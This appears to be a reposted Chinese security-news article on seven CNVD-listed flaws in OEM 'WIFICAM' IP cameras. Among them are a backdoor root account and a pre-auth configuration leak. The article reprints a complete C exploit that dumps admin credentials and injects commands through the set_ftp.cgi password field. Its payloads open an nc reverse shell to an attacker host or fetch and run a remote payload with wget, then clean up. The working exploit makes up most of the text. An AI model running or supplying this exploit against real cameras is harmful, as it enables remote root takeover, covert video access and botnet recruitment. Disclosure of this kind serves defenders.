Wireless IP Camera (P2P) WIFICAM存在多个高危漏洞(附带PoC)

华盟学院山东省第二期线下学习计划

国家信息安全漏洞共享平台(CNVD)收录了名为Wireless IP Camera (P2P) WIFICAM摄像头产品存在的多处高危安全漏洞(CNVD-2017-02751、CNVD-2017-02773、CNVD-2017-02774、CNVD-2017-02775、CNVD-2017-02776、CNVD-2017-02777、CNVD-2017-02778)。综合利用上述漏洞,可远程控制设备,并利用IoT设备发起大规模网络攻击。

漏洞情况分析

Wireless IP Camera (P2P)WIFICAM是由一家中国厂商(目前源厂商暂未能确认)所生产的网络摄像头,并以贴牌产品的形式(OEM)向多家摄像头厂商供货。该厂商提供的系列摄像头产品中存在多处安全漏洞,具体漏洞如下:

漏洞名称 漏洞描述 评级
后门账号漏洞(CNVD-2017-02751) 默认运行Telnet,任意用户通过以下帐号密码都能访问登陆:root:$1$ybdHbPDn$ii9aEIFNiolBbM9QxW9mr0:0:0::/root:/bin/sh 高危
RSA密钥和证书泄露漏洞(CNVD-2017-02773) /system/www/pem/ck.pem中包含了拥有私有RSA密钥的Apple certificate 中危
预授权信息和凭证泄漏漏洞 (CNVD-2017-02774) 在访问服务器配置文件的时候,通过提供空白的「loginuse」和「loginpas」参数,攻击者能够绕过设备的认证程序。这样就能在不登陆的情况下,攻击者下载设备的配置文件。这些配置文件包含设备的凭证信息,以及FTP和SMTP帐号内容。 高危
远程命令执行漏洞(CNVD-2017-02775) FTP公共网关接口(CGI)中inset_ftp.cgi存在远程命令执行漏洞。攻击者利用ftp管理员身份可进行远程命令执行,并进一步获得网络设备的root权限 中危
预授权远程命令执行漏洞(CNVD-2017-02776) 通过访问带有特殊参数的URL链接,攻击者能够以root用户权限绕过认证程序并在摄像头上执行各种代码。 中危
未授权访问漏洞 (CNVD-2017-02777) 攻击者能够通过10554端口访问摄像头的内置RTSP服务器,并在未认证的情况下观看视频直播。 高危
‘Cloud’功能设计缺陷漏洞 (CNVD-2017-02778) 摄像头提供了「Cloud」功能,且默认开启,能够让消费者通过网络管理设备这项功能使用明文UDP通道来绕过NAT和防火墙。攻击者能够滥用这项功能发起蛮力攻击(brute-force attacks),从而猜测设备的凭证信息。 高危

附:参考链接

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02751

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02773

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02774

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02775

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02776

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02777

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02778

POC

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define CAM_PORT 80
#define REMOTE_HOST "192.168.1.1"
#define REMOTE_PORT "1337"
#define PAYLOAD_0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc%20" REMOTE_HOST "+" REMOTE_PORT "%20-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n"
#define PAYLOAD_1 "GET /ftptest.cgi?next_url=test_ftp.htm&loginuse=%s&loginpas=%s\r\n\r\n"
#define PAYLOAD_2 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=passpasspasspasspasspasspasspasspass&dir=/&mode=PORT&upload_interval=0\r\n\r\n"

#define ALTERNATIVE_PAYLOAD_zero0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc+" REMOTE_HOST "+" REMOTE_PORT "+-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n"
#define ALTERNATIVE_PAYLOAD_zero1 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(wget+http://" REMOTE_HOST "/stufz&&./stuff)&dir=/&mode=PORT&upload_interval=0\r\n\r\n"

char * creds(char *argv,
int get_config);

int rce(char *argv,
char *id,
char attack[],
char desc[]);

int main(int argc,
char **argv,
char **envp)
{
char *id;

printf("Camera 0day root RCE with connect-back @PierreKimSec\n\n");

if (argc < 2)
{
printf("%s target\n", argv[0]);
printf("%s target --get-config will dump the configuration and exit\n", argv[0]);
return (1);
}

if (argc == 2)
printf("Please run `nc -vlp %s` on %s\n\n", REMOTE_PORT, REMOTE_HOST);

if (argc == 3 && !strcmp(argv[2], "--get-config"))
id = creds(argv[1], 1);
else
id = creds(argv[1], 0);

if (id == NULL)
{
printf("exploit failed\n");
return (1);
}
printf("done\n");

printf(" login = %s\n", id);
printf(" pass = %s\n", id + 32);

if (!rce(argv[1], id, PAYLOAD_0, "planting"))
printf("done\n");
sleep(1);
if (!rce(argv[1], id, PAYLOAD_1, "executing"))
printf("done\n");
if (!rce(argv[1], id, PAYLOAD_2, "cleaning"))
printf("done\n");
if (!rce(argv[1], id, PAYLOAD_1, "cleaning"))
printf("done\n");

printf("[+] enjoy your root shell on %s:%s\n", REMOTE_HOST, REMOTE_PORT);

return (0);
}

char * creds(char *argv,
int get_config)
{
int sock;
int n;
struct sockaddr_in serv_addr;
char buf[8192] = { 0 };
char *out;
char *tmp;
char payload[] = "GET /system.ini?loginuse&loginpas HTTP/1.0\r\n\r\n";
int old_n;
int n_total;

sock = 0;
n = 0;
old_n = 0;
n_total = 0;

printf("[+] bypassing auth ... ");

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Error while creating socket\n");
return (NULL);
}

memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(CAM_PORT);

if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0)
{
printf("Error while inet_pton\n");
return (NULL);
}

if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0)
{
printf("creds: connect failed\n");
return (NULL);
}

if (send(sock, payload, strlen(payload) , 0) < 0)
{
printf("creds: send failed\n");
return (NULL);
}

if (!(tmp = malloc(10 * 1024 * sizeof(char))))
return (NULL);

if (!(out = calloc(64, sizeof(char))))
return (NULL);

while ((n = recv(sock, buf, sizeof(buf), 0)) > 0)
{
n_total += n;
if (n_total < 1024 * 10)
memcpy(tmp + old_n, buf, n);
if (n >= 0)
old_n = n;
}

close(sock);

/*
[ HTTP HEADERS ]
...

000????: 0000 0a0a 0a0a 01.. .... .... .... ....
^^^^ ^^^^ ^^
Useful reference in the binary data
in order to to find the positions of
credentials
...
...
0000690: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin...........
00006a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin...........
00006c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
...

NOTE: reference can be too:
000????: 0006 0606 0606 0100 000a .... .... ....

Other method: parse everything, find the "admin" string and extract the associated password
by adding 31bytes after the address of 'a'[dmin].
Works if the login is admin (seems to be this by default, but can be changed by the user)
*/

if (get_config)
{
for (unsigned int j = 0; j < n_total && j < 10 * 1024; j++)
printf("%c", tmp[j]);
exit (0);
}

for (unsigned int j = 50; j < 10 * 1024; j++)
{
if (tmp[j - 4] == 0x0a &&
tmp[j - 3] == 0x0a &&
tmp[j - 2] == 0x0a &&
tmp[j - 1] == 0x0a &&
tmp[j] == 0x01)
{
if (j + 170 < 10 * 1024)
{
strcat(out, &tmp[j + 138]);
strcat(out + 32 * sizeof(char), &tmp[j + 170]);
free(tmp);

return (out);
}
}
}

free(tmp);

return (NULL);
}

int rce(char *argv,
char *id,
char attack[],
char desc[])
{
int sock;
struct sockaddr_in serv_addr;
char *payload;

if (!(payload = calloc(512, sizeof(char))))
return (1);

sock = 0;

printf("[+] %s payload ... ", desc);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Error while creating socket\n");
return (1);
}

memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(CAM_PORT);

if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0)
{
printf("Error while inet_pton\n");
return (1);
}

if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0)
{
printf("rce: connect failed\n");
return (1);
}

sprintf(payload, attack, id, id + 32);
if (send(sock, payload, strlen(payload) , 0) < 0)
{
printf("rce: send failed\n");
return (1);
}

return (0);
}

www.idc126.com

*本文作者:学霸么么哒,转载请注明FreeBuf.COM

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。
0

发表评论